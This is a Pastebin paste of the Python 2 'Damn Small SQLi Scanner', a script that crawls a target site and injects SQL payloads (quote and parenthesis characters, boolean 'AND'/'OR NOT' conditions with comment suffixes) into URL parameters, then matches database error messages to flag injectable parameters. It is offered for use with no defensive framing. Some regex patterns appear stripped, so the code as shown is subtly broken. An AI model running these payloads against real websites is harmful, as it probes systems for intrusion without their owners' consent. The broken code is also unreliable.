Advertisement
infodox

SQL scanner by SOMEONE ELSE

Nov 30th, 2011
539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.03 KB | None | 0 0
  1. #Source
  2. #http://unconciousmind.blogspot.com/2011/07/damn-small-sqli-scanner-dsss.html
  3. # Infodox liked this when he found it by accident and wanted to share
  4. #!/usr/bin/env python
  5. import difflib, httplib, optparse, random, re, sys, urllib2, urlparse
  6. NAME    = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
  7. VERSION = "0.1b"
  8. AUTHOR  = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
  9. LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)"
  10. NOTE    = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)"
  11.  
  12. INVALID_SQL_CHAR_POOL = ['(',')','\'','"']
  13. CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")
  14. SUFFIXES = ["", "-- ", "#"]
  15. PREFIXES = [" ", ") ", "' ", "') "]
  16. BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"]
  17.  
  18. DBMS_ERRORS = {}
  19. DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."]
  20. DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."]
  21. DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."]
  22. DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"]
  23. DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"]
  24. DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"]
  25. DBMS_ERRORS["Informix"] = [r"Exception.*Informix"]
  26. DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"]
  27. DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"]
  28. DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"]
  29. DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"]
  30. DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]
  31.  
  32. def getTextOnly(page):
  33.     retVal = re.sub(r"(?s)|||<[^>]+>|\s", " ", page)
  34.     retVal = re.sub(r"\s{2,}", " ", retVal)
  35.     return retVal
  36.  
  37. def retrieveContent(url):
  38.     retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content]
  39.     try:
  40.         retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read()
  41.     except Exception, e:
  42.         if hasattr(e, 'read'):
  43.             retVal[3] = e.read()
  44.         elif hasattr(e, 'msg'):
  45.             retVal[3] = e.msg
  46.         retVal[1] = e.code if hasattr(e, 'code') else None
  47.     match = re.search(r"", retVal[3])
  48.     retVal[2] = match.group("title") if match else ""
  49.     retVal[0] = getTextOnly(retVal[3])
  50.     return retVal
  51.  
  52. def shallowCrawl(url):
  53.     retVal = set([url])
  54.     page = retrieveContent(url)[3]
  55.     for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I):
  56.         link = urlparse.urljoin(url, match.group("href"))
  57.         if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
  58.             if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])):
  59.                 retVal.add(link)
  60.     return retVal
  61.  
  62. def scanPage(url):
  63.     for link in shallowCrawl(url):
  64.         print "* scanning: %s" % link
  65.         for match in re.finditer(r"(?:[?&;])((?P\w+)=[^&;]+)", link):
  66.             vulnerable = False
  67.             tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL))))
  68.             content = retrieveContent(tampered)
  69.             for dbms in DBMS_ERRORS:
  70.                 for regex in DBMS_ERRORS[dbms]:
  71.                     if not vulnerable and re.search(regex, content[0], re.I):
  72.                         print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms)
  73.                         vulnerable = True
  74.             if not vulnerable:
  75.                 original = retrieveContent(link)
  76.                 a, b = random.randint(100, 255), random.randint(100, 255)
  77.                 for prefix in PREFIXES:
  78.                     for boolean in BOOLEANS:
  79.                         for suffix in SUFFIXES:
  80.                             if not vulnerable:
  81.                                 template = "%s%s%s" % (prefix, boolean, suffix)
  82.                                 payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, b))))
  83.                                 contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])]
  84.                                 if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]):
  85.                                     vulnerable = True
  86.                                 else:
  87.                                     ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]])
  88.                                     vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95
  89.                                 if vulnerable:
  90.                                     print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0])
  91.  
  92. if __name__ == "__main__":
  93.     print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
  94.     parser = optparse.OptionParser(version=VERSION)
  95.     parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.htm?id=1\")")
  96.     options, _ = parser.parse_args()
  97.     if options.url:
  98.         scanPage(options.url)
  99.     else:
  100.         parser.print_help()
  101.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement